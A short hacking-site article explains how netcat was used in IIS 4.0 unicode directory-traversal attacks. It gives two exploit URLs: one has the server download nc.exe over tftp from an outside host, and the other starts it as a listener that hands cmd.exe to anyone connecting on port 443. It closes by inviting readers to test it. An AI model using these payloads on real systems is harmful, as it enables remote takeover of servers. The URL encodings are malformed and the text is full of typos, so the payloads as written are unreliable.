spacer.png, 0 kB
spacer.png, 0 kB
Home arrow All Articles arrow Hacking Articles arrow Netcat can be used with unicode.
Netcat can be used with unicode. Print E-mail

This particular use of netcat was the driving force behind some popular exploits of  the internet  information server (IIS) 4.0 Microsoft Data Access Component (MDAC).

The scripts as follows:

http://10.10.0.1/scripts/../%c1%pc/../winnt/system32/cmd.exe?/c+tftp%20-i%20orginix%20GET%20nc.exe%20update.exe

If successful, this command would efectively put netcat on 10.10.0.1 in the intetpub\scripts directory as update.exe

the hacker could starts using it as URL

http://10.10.0.1/scripts /../%c%pc/../inetpub/scripts/update.exe?-1%20-d%20-L%20-p%20443%20-e%20cmd.exe

You can test it. Source from antihacker toolkit.

 


Related Items:

 
< Prev   Next >
spacer.png, 0 kB
spacer.png, 0 kB
spacer.png, 0 kB
spacer.png, 0 kB
ss_blog_claim=69052e837be509b449eef698573ca058